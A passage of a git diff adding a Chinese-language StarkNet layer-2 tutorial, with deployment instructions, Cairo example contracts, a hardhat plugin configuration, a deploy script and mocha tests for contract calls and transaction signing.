+```sh
+starknet deploy --contract contract_compiled.json
+```
+
+部署成功后输出：
+
+```sh
+Deploy transaction was sent.
+Contract address: 0x032e72fd53f838b7d4479fe38e4e33a8e95e06b3afaa197995e0046db2f5b97d
+Transaction hash: 0x50b37bd192aed1fa131b83f1b034bc41f2b46174a2b93d8fb5ec326ca8b4679
+```
+
+### 与合约交互
+
+`CONTRACT_ADDRESS` 替换为你的合约地址
+
+```sh
+starknet invoke \
+    --address CONTRACT_ADDRESS \
+    --abi contract_abi.json \
+    --function increase_balance \
+    --inputs 1234
+```
+
+调用成功，输出
+
+```sh
+Invoke transaction was sent.
+Contract address: 0x032e72fd53f838b7d4479fe38e4e33a8e95e06b3afaa197995e0046db2f5b97d
+Transaction hash: 0x139207f26d5e14507f62ff0f2eb68dcff43c107f1ee0a75489e8def0fbcc5bd
+```
+
+查询交易信息， `TRANSACTION_HASH` 替换为你的交易 hash
+
+```sh
+starknet tx_status --hash TRANSACTION_HASH
+```
+
+输出
+
+```sh
+{
+    "block_hash": "0x6170597aaf501317aa8cdf762bca4295c7f3a2ab03e1b2e6811a257acc6d026",
+    "tx_status": "ACCEPTED_ON_L2"
+}
+```
+
+The possible statuses are:
+
+- NOT_RECEIVED: The transaction has not been received yet (i.e., not written to storage).
+- RECEIVED: The transaction was received by the sequencer.
+- PENDING: The transaction passed the validation and entered the pending block.
+- REJECTED: The transaction failed validation and thus was skipped.
+- ACCEPTED_ON_L2: The transaction passed the validation and entered an actual created block.
+- ACCEPTED_ON_L1: The transaction was accepted on-chain.
+
+### Query the balance
+
+`CONTRACT_ADDRESS` 替换为合约地址
+
+```sh
+starknet call \
+    --address CONTRACT_ADDRESS \
+    --abi contract_abi.json \
+    --function get_balance
+```
+
+输出
+
+```sh
+1234
+```
+
+## to-do
+
+- starknet 合约语法解析
+
+## reference
+- notion资料：https://doffice.notion.site/8becdf2c9365490e9b45c7e84f4f6113?v=9cc4feafb4244d3999cad0c464783897 
+- official website <https://starkware.co/starknet/>
+- develop docs <https://starknet.io/docs/index.html>
+- blockscan <https://voyager.online/>
+- StarkNet AMM demo <https://amm-demo.starknet.starkware.co/swap>
+- 官网链接：https://starkware.co/starknet/
+- 网络简介：https://twitter.com/SimaoCCruz/status/1494733568962146308
+- 研究报告：https://mp.weixin.qq.com/s/-VEJEzuPQ9R3g2Fytckndw
+- 项目生态：https://starkware.notion.site/Projects-Building-on-StarkNet-a33dee55778a4515a9be9bdae02ee682
+- 生态汇总文档：https://doffice.notion.site/5095bd2ff41843fca0aa3eb1228724dd?v=804195ac854a44e9bf7ed32c10c9e325
+- starknet中文：https://github.com/StarkNet-ZH/Awesome-StarkNet-Chinese
+
diff --git a/basic/31-starkNet-layer2/contract.cairo b/basic/31-starkNet-layer2/contract.cairo
new file mode 100644
index 000000000..412831b0d
--- /dev/null
+++ b/basic/31-starkNet-layer2/contract.cairo
@@ -0,0 +1,30 @@
+# Declare this file as a StarkNet contract and set the required
+# builtins.
+%lang starknet
+%builtins pedersen range_check
+
+from starkware.cairo.common.cairo_builtins import HashBuiltin
+
+# Define a storage variable.
+@storage_var
+func balance() -> (res : felt):
+end
+
+# Increases the balance by the given amount.
+@external
+func increase_balance{
+        syscall_ptr : felt*, pedersen_ptr : HashBuiltin*,
+        range_check_ptr}(amount : felt):
+    let (res) = balance.read()
+    balance.write(res + amount)
+    return ()
+end
+
+# Returns the current balance.
+@view
+func get_balance{
+        syscall_ptr : felt*, pedersen_ptr : HashBuiltin*,
+        range_check_ptr}() -> (res : felt):
+    let (res) = balance.read()
+    return (res)
+end
\ No newline at end of file
diff --git a/basic/31-starkNet-layer2/starkex.md b/basic/31-starkNet-layer2/starkex.md
new file mode 100644
index 000000000..9fa6ac48c
--- /dev/null
+++ b/basic/31-starkNet-layer2/starkex.md
@@ -0,0 +1,11 @@
+# StarkEx
+
+https://learnblockchain.cn/article/2801
+
+
+## reference
+- starkex文档：https://docs.starkware.co/starkex-v4/
+- starkex电路：https://github.com/starkware-libs/stark-perpetual/tree/master/src/services/perpetual/cairo/transactions
+- starkex合约：https://github.com/starkware-libs/starkex-contracts
+- dydx文档：https://docs.dydx.exchange/#general
+- zkrollup：https://medium.com/fcats-blockchain-incubator/how-zk-rollups-work-8ac4d7155b0e
\ No newline at end of file
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/README.md b/basic/31-starkNet-layer2/starknet-hardhat/README.md
new file mode 100644
index 000000000..09832e5fe
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/README.md
@@ -0,0 +1,87 @@
+# starknet-hardhat-plugin
+
+starknet 的 hardhat 插件使用
+
+## starknet-dev-net
+
+starknet 的本地测试网络
+
+安装
+
+```sh
+pip3 install starknet-devnet
+```
+
+启动本地服务(localhost:5000)
+
+```sh
+starknet-devnet -p 5000
+```
+
+## usage
+
+安装依赖
+
+```sh
+yarn install
+```
+
+设置 `starknet` 路径，即安装cairo环境的python venv路径
+
+- `cairo.version` 和 `cairo.venv` 两个字段只能出现一个，若设置version，则需要手动编译合约
+- `mocha.starknetNetwork` 设置为 alpha 将使用默认的starknet测试网配置 (alpha-goerli)，设置为devnet则需要本地运行starknet-dev-net作为本地测试网络
+
+```ts
+// hardhat.config.js
+...
+const config: HardhatUserConfig = {
+  cairo: {
+    // version: "0.6.2", // alternatively choose one of the two venv options below
+
+    // uses (my-venv) defined by `python -m venv path/to/my-venv`
+    venv: "path/to/my-venv" // <-- put your dir
+    
+    // uses the currently active Python environment (hopefully with available Starknet commands!) 
+    // venv: "active"
+  },
+  networks: {
+    devnet: {
+      url: "http://localhost:5000"
+    }
+  },
+  mocha: {
+    starknetNetwork: "devnet"
+    // starknetNetwork: "alpha"
+  }
+};
+```
+
+编译合约
+
+```sh
+yarn compile
+```
+
+运行测试文件
+
+```sh
+yarn test
+```
+
+或
+
+```sh
+npx hardhat test ./test/...
+```
+
+## to-do
+
+- 使用 hardhat 部署到测试网，一直连接超时
+- 使用 hardhat verify 在区块链浏览器上做源码认证
+
+## reference
+
+- hardhat 插件 <https://github.com/Shard-Labs/starknet-hardhat-plugin>
+- 插件使用示例 <https://github.com/Shard-Labs/starknet-hardhat-example>
+- starkNet-dev-net <https://github.com/Shard-Labs/starknet-devnet>
+
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/contracts/auth_contract.cairo b/basic/31-starkNet-layer2/starknet-hardhat/contracts/auth_contract.cairo
new file mode 100644
index 000000000..e3b1980a1
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/contracts/auth_contract.cairo
@@ -0,0 +1,63 @@
+# Declare this file as a StarkNet contract and set the required
+# builtins.
+%lang starknet
+%builtins pedersen range_check ecdsa
+
+from starkware.cairo.common.cairo_builtins import (
+    HashBuiltin, SignatureBuiltin)
+from starkware.cairo.common.hash import hash2
+from starkware.cairo.common.signature import (
+    verify_ecdsa_signature)
+from starkware.starknet.common.syscalls import get_tx_signature
+
+@constructor
+func constructor{
+    syscall_ptr : felt*,
+    pedersen_ptr : HashBuiltin*,
+    range_check_ptr
+} (lucky_user : felt, initial_balance : felt):
+    balance.write(lucky_user, initial_balance)
+    return ()
+end
+
+# Define a storage variable.
+@storage_var
+func balance(user : felt) -> (res : felt):
+end
+
+# Increases the balance of the given user by the given amount.
+@external
+func increase_balance{
+        syscall_ptr : felt*, pedersen_ptr : HashBuiltin*,
+        range_check_ptr, ecdsa_ptr : SignatureBuiltin*}(
+        user : felt, amount : felt):
+    # Fetch the signature.
+    let (sig_len : felt, sig : felt*) = get_tx_signature()
+
+    # Verify the signature length.
+    assert sig_len = 2
+
+    # Compute the hash of the message.
+    # The hash of (x, 0) is equivalent to the hash of (x).
+    let (amount_hash) = hash2{hash_ptr=pedersen_ptr}(amount, 0)
+
+    # Verify the user's signature.
+    verify_ecdsa_signature(
+        message=amount_hash,
+        public_key=user,
+        signature_r=sig[0],
+        signature_s=sig[1])
+
+    let (res) = balance.read(user=user)
+    balance.write(user, res + amount)
+    return ()
+end
+
+# Returns the balance of the given user.
+@view
+func get_balance{
+        syscall_ptr : felt*, pedersen_ptr : HashBuiltin*,
+        range_check_ptr}(user : felt) -> (res : felt):
+    let (res) = balance.read(user=user)
+    return (res)
+end
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/contracts/contract.cairo b/basic/31-starkNet-layer2/starknet-hardhat/contracts/contract.cairo
new file mode 100644
index 000000000..8e8e9fc4a
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/contracts/contract.cairo
@@ -0,0 +1,147 @@
+# Declare this file as a StarkNet contract and set the required
+# builtins.
+%lang starknet
+%builtins pedersen range_check
+
+from starkware.cairo.common.cairo_builtins import HashBuiltin
+from starkware.starknet.common.syscalls import get_tx_signature
+from starkware.cairo.common.math import unsigned_div_rem
+from util import almost_equal as aeq
+
+# Define a storage variable.
+@storage_var
+func balance() -> (res : felt):
+end
+
+@constructor
+func constructor{
+    syscall_ptr : felt*,
+    pedersen_ptr : HashBuiltin*,
+    range_check_ptr
+} (initial_balance : felt):
+    balance.write(initial_balance)
+    return ()
+end
+
+# Increases the balance by the given amount.
+@external
+func increase_balance{
+        syscall_ptr : felt*, pedersen_ptr : HashBuiltin*,
+        range_check_ptr}(amount1 : felt, amount2 : felt):
+    let (res) = balance.read()
+    balance.write(res + amount1 + amount2)
+    return ()
+end
+
+@view
+func increase_balance_with_even{
+    syscall_ptr: felt*, pedersen_ptr: HashBuiltin*,
+    range_check_ptr}(amount: felt):
+
+    let (div, rem) = unsigned_div_rem(amount, 2)
+    assert rem = 0 # assert even
+    let (res) = balance.read()
+    balance.write(res + amount)
+    return ()
+end
+
+# Returns the current balance.
+@view
+func get_balance{
+        syscall_ptr : felt*, pedersen_ptr : HashBuiltin*,
+        range_check_ptr}() -> (res : felt):
+    let (res) = balance.read()
+    return (res)
+end
+
+############ tuples
+
+struct Point:
+    member x : felt
+    member y : felt
+end
+
+struct PointPair:
+    member p1 : Point
+    member p2 : Point
+    member extra : felt
+end
+
+struct TupleHolder:
+    member tuple : (felt, felt)
+    member extra : felt
+end
+
+@view
+func dummy_tuple_holder() -> (tuple_holder: TupleHolder):
+    return (
+        tuple_holder=TupleHolder(
+            tuple=(2, 3),
+            extra=4
+        )
+    )
+end
+
+@view
+func identity(a_len: felt, a: felt*) -> (res_len: felt, res: felt*, res_len_squared: felt):
+    return(
+        res_len=a_len,
+        res=a,
+        res_len_squared=a_len * a_len
+    )
+end
+
+@view
+func sum_points_to_tuple(points : (Point, Point)) -> (res: (felt, felt)):
+    return (
+        res=(
+            points[0].x + points[1].x,
+            points[0].y + points[1].y
+        )
+    )
+end
+
+@view
+func sum_point_pair(pointPair: PointPair) -> (res: Point):
+    return (
+        res=Point(
+            x=pointPair.p1.x + pointPair.p2.x + pointPair.extra,
+            y=pointPair.p1.y + pointPair.p2.y + pointPair.extra
+        )
+    )
+end
+
+@view
+func add_extra_to_tuple(tuple_holder: TupleHolder) -> (res: Point):
+    return (
+        res=Point(
+            x=tuple_holder.tuple[0] + tuple_holder.extra,
+            y=tuple_holder.tuple[1] + tuple_holder.extra
+        )
+    )
+end
+
+@view
+func use_almost_equal(a, b) -> (res):
+    let (res) = aeq(a=a, b=b)
+    return (res)
+end
+
+########### arrays
+
+@external
+func sum_array(
+        a_len : felt, a : felt*) -> (res):
+    if a_len == 0:
+        return (res=0)
+    end
+    let (rest) = sum_array(a_len=a_len - 1, a=a + 1)
+    return (res=a[0] + rest)
+end
+
+@external
+func get_signature{syscall_ptr : felt*, pedersen_ptr : HashBuiltin*}() -> (
+        res_len : felt, res : felt*):
+    let (sig_len, sig) = get_tx_signature()
+    return (res_len=sig_len, res=sig)
+end
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/contracts/submodule/util.cairo b/basic/31-starkNet-layer2/starknet-hardhat/contracts/submodule/util.cairo
new file mode 100644
index 000000000..332bc54be
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/contracts/submodule/util.cairo
@@ -0,0 +1,7 @@
+%lang starknet
+%builtins range_check
+
+@view
+func foo(a) -> (res):
+    return (res=42)
+end
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/contracts/util.cairo b/basic/31-starkNet-layer2/starknet-hardhat/contracts/util.cairo
new file mode 100644
index 000000000..32141a04b
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/contracts/util.cairo
@@ -0,0 +1,6 @@
+func almost_equal(a, b) -> (res: felt):
+    if (a - b) * (a - b - 1) * (a - b + 1) == 0:
+        return (res=1)
+    end
+    return (res=0)
+end
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/deploy-invoke.sh b/basic/31-starkNet-layer2/starknet-hardhat/deploy-invoke.sh
new file mode 100755
index 000000000..f3f13d2f4
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/deploy-invoke.sh
@@ -0,0 +1,10 @@
+#!/bin/bash
+output=$(starknet deploy --contract starknet-artifacts/contracts/contract.cairo/contract.json --network alpha)
+echo $output
+deploy_tx_id=$(echo $output | sed -r "s/.*Transaction ID: (\w*).*/\1/")
+address=$(echo $output | sed -r "s/.*Contract address: (\w*).*/\1/")
+echo "Address: $address"
+echo "tx_id: $deploy_tx_id"
+starknet invoke --function increase_balance --inputs 10 20 --network alpha --address $address --abi starknet-artifacts/contracts/contract.cairo/contract_abi.json
+#starknet tx_status --id $deploy_tx_id --network alpha
+starknet call --function get_balance --network alpha --address $address --abi starknet-artifacts/contracts/contract.cairo/contract_abi.json
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/hardhat.config.ts b/basic/31-starkNet-layer2/starknet-hardhat/hardhat.config.ts
new file mode 100644
index 000000000..34d051dde
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/hardhat.config.ts
@@ -0,0 +1,29 @@
+import { HardhatUserConfig } from "hardhat/types";
+import "@shardlabs/starknet-hardhat-plugin";
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+const config: HardhatUserConfig = {
+  cairo: {
+    // version: "0.6.2", // alternatively choose one of the two venv options below
+
+    // uses (my-venv) defined by `python -m venv path/to/my-venv`
+    // venv: "path/to/my-venv"
+    venv: "/home/usr/cairo_venv" // <-- put your dir
+    
+    // uses the currently active Python environment (hopefully with available Starknet commands!) 
+    // venv: "active"
+  },
+  networks: {
+    devnet: {
+      url: "http://localhost:5000"
+    }
+  },
+  mocha: {
+    starknetNetwork: "devnet"   // 本地 starknet-dev-net 网络
+    // starknetNetwork: "alpha" // starknet alpha-goerli 测试网络
+  }
+};
+
+export default config;
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/package.json b/basic/31-starkNet-layer2/starknet-hardhat/package.json
new file mode 100644
index 000000000..d43b10e18
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/package.json
@@ -0,0 +1,26 @@
+{
+  "name": "cairo",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "compile": "npx hardhat starknet-compile",
+    "test": "npx hardhat test"
+  },
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "@shardlabs/starknet-hardhat-plugin": "latest",
+    "@types/chai": "^4.2.22",
+    "@types/mocha": "^9.0.0",
+    "@types/node": "^16.11.10",
+    "chai": "^4.3.4",
+    "ethers": "^5.4.6",
+    "hardhat": "^2.6.2",
+    "ts-node": "^10.4.0",
+    "typescript": "^4.5.2"
+  },
+  "dependencies": {
+    "@toruslabs/starkware-crypto": "^1.0.0"
+  }
+}
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/test/constants.ts b/basic/31-starkNet-layer2/starknet-hardhat/test/constants.ts
new file mode 100644
index 000000000..fa975c543
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/test/constants.ts
@@ -0,0 +1,2 @@
+/** 10 min */
+export const TIMEOUT = 600_000;
\ No newline at end of file
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/test/contract-factory-test.ts b/basic/31-starkNet-layer2/starknet-hardhat/test/contract-factory-test.ts
new file mode 100644
index 000000000..e3bb390ae
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/test/contract-factory-test.ts
@@ -0,0 +1,7 @@
+import { starknet } from "hardhat";
+
+describe("ContractFactory", () => {
+    it("should be created", async () => {
+        await starknet.getContractFactory("contract");
+    });
+});
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/test/function-args-test.ts b/basic/31-starkNet-layer2/starknet-hardhat/test/function-args-test.ts
new file mode 100644
index 000000000..b28d05875
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/test/function-args-test.ts
@@ -0,0 +1,123 @@
+import { expect } from "chai";
+import { starknet } from "hardhat";
+import { TIMEOUT } from "./constants";
+import { StarknetContract, StarknetContractFactory } from "hardhat/types/runtime";
+
+describe("Starknet", function () {
+  this.timeout(TIMEOUT);
+  let contractFactory: StarknetContractFactory;
+  let contract: StarknetContract;
+
+  before(async function() {
+    // assumes contract.cairo has been compiled
+    contractFactory = await starknet.getContractFactory("contract");
+    contract = await contractFactory.deploy({ initial_balance: 0 });
+  });
+
+  it("should work if provided number of arguments is the same as the expected", async function() {
+    const { res: balanceBefore } = await contract.call("get_balance");
+    expect(balanceBefore).to.deep.equal(0n);
+  });
+
+  it("should fail if provided number of arguments is less than the expected", async function() {
+    try {
+      await contract.call("sum_array");
+      expect.fail("Should have failed on passing too few arguments.");
+    } catch(err: any) {
+      expect(err.message).to.equal("sum_array: Expected 1 argument, got 0.");
+    }
+  });
+
+  it("should fail if provided number of arguments is more than the expected", async function() {
+    try {
+      await contract.call("sum_array", {a: [1, 2, 3, 4], b: 4 });
+      expect.fail("Should have failed on passing extra argument.");
+    } catch(err: any) {
+      expect(err.message).to.equal("sum_array: Expected 1 argument, got 2.");
+    }
+  });
+
+  it("should work if not providing the array length when having an array as argument", async function() {
+    const { res: sum } = await contract.call("sum_array", {a: [1, 2, 3, 4] });
+    expect(sum).to.deep.equal(10n);
+  });
+
+  it("should fail if providing the array length when having an array as argument", async function() {
+    try {
+      await contract.call("sum_array", {a_len: 4, a: [1, 2, 3, 4]});
+      expect.fail("Should have failed on passing extra argument.");
+    } catch(err: any) {
+      expect(err.message).to.equal("sum_array: Expected 1 argument, got 2.");
+    }
+  });
+
+  it("should work if providing the exact amount of members in a tuple, with the exact amount of members in a nested struct", async function() {
+    const { res: sum } = await contract.call("sum_points_to_tuple", {
+      points: [
+        { x: 1, y: 2 },
+        { x: 3, y: 4 },
+      ]
+    });
+    expect(sum).to.deep.equal([ 4n, 6n ]);
+  });
+
+  it("should fail if providing too many members in a tuple", async function() {
+    try {
+      await contract.call("sum_points_to_tuple", {
+        points: [
+          { x: 1, y: 2 },
+          { x: 3, y: 4 },
+          { x: 3, y: 4 }
+        ]
+      });
+      expect.fail("Should have failed on passing more members than expected.");
+    } catch(err: any) {
+      expect(err.message).to.equal('"points": Expected 2 members, got 3.');
+    }
+  });
+
+  it("should fail if providing too few members in a tuple", async function() {
+    try {
+      // passing Points (1, 2) and (3, 4) in a tuple
+      await contract.call("sum_points_to_tuple", {
+        points: [
+          { x: 1, y: 2 }
+        ]
+      });
+      expect.fail("Should have failed on passing less members than expected.");
+    } catch(err: any) {
+      expect(err.message).to.equal('"points": Expected 2 members, got 1.');
+    }
+  });
+
+  it("should fail if providing too few members to a nested struct", async function() {
+    try {
+      // passing Points (1, 2) and (3, 4) in a tuple
+      await contract.call("sum_points_to_tuple", {
+        points: [
+          { x: 1 },
+          { x: 3, y: 4, z: 5 }
+        ]
+      });
+      expect.fail("Should have failed on passing less members than expected.");
+    } catch(err: any) {
+      expect(err.message).to.equal('"points[0]": Expected 2 members, got 1.');
+    }
+  });
+
+  it("should fail if providing too many members to a nested struct", async function() {
+    try {
+      // passing Points (1, 2) and (3, 4) in a tuple
+      await contract.call("sum_points_to_tuple", {
+        points: [
+          { x: 1, y: 2},
+          { x: 3, y: 4, z: 5 }
+        ]
+      });
+      expect.fail("Should have failed on passing more members than expected");
+    } catch(err: any) {
+      expect(err.message).to.equal('"points[1]": Expected 2 members, got 3.');
+    }
+  });
+
+});
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/test/path-test.ts b/basic/31-starkNet-layer2/starknet-hardhat/test/path-test.ts
new file mode 100644
index 000000000..cf4c6dc13
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/test/path-test.ts
@@ -0,0 +1,49 @@
+import { expect } from "chai";
+import { starknet } from "hardhat";
+import { TIMEOUT } from "./constants";
+
+const AMBIGUOUS_ERR_MSG = "More than one file was found because the path provided is ambiguous, please specify a relative path";
+
+describe("getContractFactory", function() {
+    this.timeout(TIMEOUT);
+
+    it("should handle file name without extension", async function() {
+        await starknet.getContractFactory("contract");
+    });
+
+    it("should handle file name with extension", async function() {
+        await starknet.getContractFactory("contract.cairo");
+    });
+
+    it("should handle path without extension", async function() {
+        await starknet.getContractFactory("contracts/contract");
+    });
+
+    it("should handle path with extension", async function() {
+        await starknet.getContractFactory("contracts/contract.cairo");
+    });
+
+    it("should throw if name without extension ambiguous", async function() {
+        try {
+            await starknet.getContractFactory("util");
+            expect.fail("Should have failed");
+        } catch (err: any) {
+            expect(err.message).to.equal(AMBIGUOUS_ERR_MSG);
+        }
+
+        await starknet.getContractFactory("contracts/util");
+        await starknet.getContractFactory("contracts/submodule/util");
+    });
+
+    it("should throw if name with extension ambiguous", async function() {
+        try {
+            await starknet.getContractFactory("util.cairo");
+            expect.fail("Should have failed");
+        } catch (err: any) {
+            expect(err.message).to.equal(AMBIGUOUS_ERR_MSG);
+        }
+
+        await starknet.getContractFactory("contracts/util.cairo");
+        await starknet.getContractFactory("contracts/submodule/util.cairo");
+    });
+});
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/test/quick-test.ts b/basic/31-starkNet-layer2/starknet-hardhat/test/quick-test.ts
new file mode 100644
index 000000000..b389ce62d
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/test/quick-test.ts
@@ -0,0 +1,23 @@
+import { expect } from "chai";
+import { starknet } from "hardhat";
+import { StarknetContract, StarknetContractFactory } from "hardhat/types/runtime";
+import { TIMEOUT } from "./constants";
+
+describe("Starknet", function() {
+    this.timeout(TIMEOUT);
+    it("should work for a fresh deployment", async function() {
+        console.log("Started deployment");
+        const contractFactory: StarknetContractFactory = await starknet.getContractFactory("contract");
+        const contract: StarknetContract = await contractFactory.deploy({ initial_balance: 0 });
+        console.log("Deployed at", contract.address);
+    
+        const { res: balanceBefore } = await contract.call("get_balance");
+        expect(balanceBefore).to.deep.equal(0n);
+    
+        await contract.invoke("increase_balance", { amount1: 10, amount2: 20 });
+        console.log("Increased by 10 + 20");
+    
+        const { res: balanceAfter } = await contract.call("get_balance");
+        expect(balanceAfter).to.deep.equal(30n);
+    });
+});
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/test/sample-test.ts b/basic/31-starkNet-layer2/starknet-hardhat/test/sample-test.ts
new file mode 100644
index 000000000..bcea4ed24
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/test/sample-test.ts
@@ -0,0 +1,147 @@
+import { expect } from "chai";
+import { starknet } from "hardhat";
+import { StarknetContract, StarknetContractFactory } from "hardhat/types/runtime";
+import { TIMEOUT } from "./constants";
+
+describe("Starknet", function () {
+  this.timeout(TIMEOUT);
+  let preservedAddress: string;
+
+  let contractFactory: StarknetContractFactory;
+
+  before(async function() {
+    // assumes contract.cairo has been compiled
+    contractFactory = await starknet.getContractFactory("contract");
+  });
+
+  it("should fail if constructor arguments not provided", async function() {
+    try {
+      await contractFactory.deploy();
+      expect.fail("Should have failed on not passing constructor calldata.");
+    } catch(err: any) {
+      expect(err.message).to.equal("Constructor arguments required but not provided.");
+    }
+  });
+
+  it("should work for a fresh deployment", async function() {
+    console.log("Started deployment");
+    const contract: StarknetContract = await contractFactory.deploy({ initial_balance: 0 });
+    console.log("Deployed at", contract.address);
+    preservedAddress = contract.address;
+
+    const { res: balanceBefore } = await contract.call("get_balance");
+    expect(balanceBefore).to.deep.equal(0n);
+
+    await contract.invoke("increase_balance", { amount1: 10, amount2: 20 });
+    console.log("Increased by 10 + 20");
+
+    const { res: balanceAfter } = await contract.call("get_balance");
+    expect(balanceAfter).to.deep.equal(30n);
+  });
+
+  it("should work for a previously deployed contract", async function() {
+    const contract = contractFactory.getContractAt(preservedAddress);
+    const { res: balance } = await contract.call("get_balance");
+    expect(balance).to.deep.equal(30n);
+  });
+
+  it("should work with tuples", async function() {
+    const contract = contractFactory.getContractAt(preservedAddress);
+    // passing Points (1, 2) and (3, 4) in a tuple
+    const { res: sum } = await contract.call("sum_points_to_tuple", {
+      points: [
+        { x: 1, y: 2 },
+        { x: 3, y: 4 }
+      ]
+    });
+    expect(sum).to.deep.equal([4n, 6n]);
+  });
+
+  it("should work with complex tuples", async function() {
+    const contract = contractFactory.getContractAt(preservedAddress);
+    // passing PointPair ((1, 2), (3, 4), 5)
+    // the five is an extra number added to each member of the sum Point
+    const { res: sum } = await contract.call("sum_point_pair", {
+      pointPair: {
+        p1: { x: 1, y: 2 },
+        p2: { x: 3, y: 4 },
+        extra: 5
+      }
+    });
+    expect(sum).to.deep.equal({ x: 9n, y: 11n });
+  });
+
+  async function testArray(args: {a: number[]}, expected: bigint) {
+    const contract = contractFactory.getContractAt(preservedAddress);
+    const { res: sum } = await contract.call("sum_array", args);
+    expect(sum).to.deep.equal(expected);
+  }
+
+  it("should work with a non-empty array", async function() {
+    await testArray({a: [1, 2, 3, 4] }, 10n);
+  });
+
+  it("should work with an empty array", async function() {
+    await testArray({a: []}, 0n);
+  });
+
+  it("should work with returned arrays", async function() {
+    const contract = contractFactory.getContractAt(preservedAddress);
+    const a = [1n, 2n, 3n];
+    const execution = await contract.call("identity", { a });
+    const arrLengthSquared = a.length * a.length;
+    expect(execution).to.deep.equal({
+      res: a,
+      res_len: BigInt(a.length),
+      res_len_squared: BigInt(arrLengthSquared)
+    });
+  });
+
+  it("should work with imported custom functions", async function() {
+    const contract = contractFactory.getContractAt(preservedAddress);
+    const { res: res0 } = await contract.call("use_almost_equal", {a: 1, b: 3});
+    expect(res0).to.deep.equal(0n); // 0 as in false
+
+    const { res: res1 } = await contract.call("use_almost_equal", {a: 1, b: 2});
+    expect(res1).to.deep.equal(1n); // 1 as in true
+  });
+
+  it("should work with BigInt arguments instead of numbers", async function() {
+    const contract = contractFactory.getContractAt(preservedAddress);
+
+    // mixing bigint and number on purpose (to show it's possible)
+    const { res: res1 } = await contract.call("use_almost_equal", { a: 1n, b: 2 });
+    expect(res1).to.deep.equal(1n); // 1 as in true
+  });
+
+  it("should handle rejected transactions", async function() {
+    const contract = contractFactory.getContractAt(preservedAddress);
+
+    const { res: balanceBeforeEven } = await contract.call("get_balance");
+
+    // should pass
+    await contract.invoke("increase_balance_with_even", { amount: 2n });
+
+    const { res: balanceAfterEven } = await contract.call("get_balance");
+    expect(balanceAfterEven).to.deep.equal(balanceBeforeEven + 2n);
+
+    try {
+      await contract.invoke("increase_balance_with_even", { amount: 3 });
+      expect.fail("Should have failed on invoking with an odd number.");
+    } catch (err: any) {
+      expect(err.message).to.deep.equal("Transaction rejected.");
+    }
+  });
+
+  it("should provide an expected address when a contract is deployed with salt", async function() {
+    const EXPECTED_ADDRESS = "0x0479ace715103887f28e331401eb05bfe8c4bf3c3efa6943367c9e741f23297c";
+    const addressSalt: string = "0x99";
+
+    console.log("Started deployment");
+    const contractFactory: StarknetContractFactory = await starknet.getContractFactory("contract");
+    const contract: StarknetContract = await contractFactory.deploy({ initial_balance: 0 },addressSalt);
+    console.log("Deployed at", contract.address);
+
+    expect(contract.address).to.deep.equal(EXPECTED_ADDRESS);
+  });
+});
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/test/signing-test.ts b/basic/31-starkNet-layer2/starknet-hardhat/test/signing-test.ts
new file mode 100644
index 000000000..85a15a7db
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/test/signing-test.ts
@@ -0,0 +1,71 @@
+import { expect } from "chai";
+import { starknet } from "hardhat";
+import { pedersen, ec, sign } from "@toruslabs/starkware-crypto"
+import { TIMEOUT } from "./constants";
+
+describe("Starknet", function () {
+  this.timeout(TIMEOUT);
+
+  it("should handle signing transactions with previously calculated hashes", async function() {
+    // assumes auth_contract.cairo has been compiled
+    const authContractFactory = await starknet.getContractFactory("auth_contract");
+
+
+    // be sure to pass big numbers as strings to avoid precision errors
+    const publicKey = BigInt("1628448741648245036800002906075225705100596136133912895015035902954123957052");
+    const authContract = await authContractFactory.deploy({
+      lucky_user: publicKey,
+      initial_balance: 1000
+    });
+    console.log("Deployed authContract at", authContract.address);
+
+    const signature = [// previously calculated for amount and publicKey used in this case
+      BigInt("1225578735933442828068102633747590437426782890965066746429241472187377583468"),
+      BigInt("3568809569741913715045370357918125425757114920266578211811626257903121825123")
+    ];
+
+    await authContract.invoke("increase_balance", {
+      user: publicKey,
+      amount: 4321
+    }, signature);
+
+    const { res: balance } = await authContract.call("get_balance", {
+      user: publicKey
+    });
+    expect(balance).to.deep.equal(5321n);
+  });
+
+  it("should handle signing transactions using the starkware-crypto library", async function() {
+    // assumes auth_contract.cairo has been compiled
+    const authContractFactory = await starknet.getContractFactory("auth_contract");
+
+    const amount = 4321;
+    // be sure to pass big numbers as strings to avoid precision errors
+    const privateKey = BigInt("1628448741648245036800002906075225705100596136133912895015035902954123957052");
+    const keyPair = ec.keyFromPrivate(privateKey, 'hex');
+    const publicKey = ec.keyFromPublic(keyPair.getPublic(true, 'hex'), 'hex').pub.getX().toString(16);
+    const publicKeyFelt = BigInt("0x" + publicKey)
